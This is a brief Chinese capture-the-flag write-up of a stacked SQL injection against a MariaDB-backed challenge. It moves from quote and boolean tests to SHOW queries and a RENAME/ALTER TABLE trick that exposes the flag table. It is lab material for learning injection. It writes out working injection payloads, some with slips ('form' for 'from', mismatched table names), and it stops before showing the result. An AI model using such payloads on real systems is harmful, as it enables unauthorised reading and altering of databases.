首先输入1’ 发现错误, 并且知道数据库看为MariaDB, 同时MariaDB与MySQL语法基本相同。
然后输入1’ and 1=1#返回正确说明有SQL注入点
之后按照一般流程查看其列数输入 -1‘ and order by 3#出现错误,而-1‘ and order by 2#正确则说明,列数为2。
于是使用查询语句-1’ and select 1,database(),返回下图,可以知道select被过滤了,因而可以使用堆叠注入。
1’;show databases; 查看数据库
后用 1’;show tables ;#查询表
再查询1919810931115414表中的字段,1’;show columns form 1919810931114514
;#
接下来就是骚操作了,我们可以知道本题默认显示的应为words中的字段,因而我们可以通过改名来让它显示flag
1’;rename tables words
to words1
;rename tables 1919810931114514
to words
; alter table words
change flag
id
varchar(100);#
然后便可得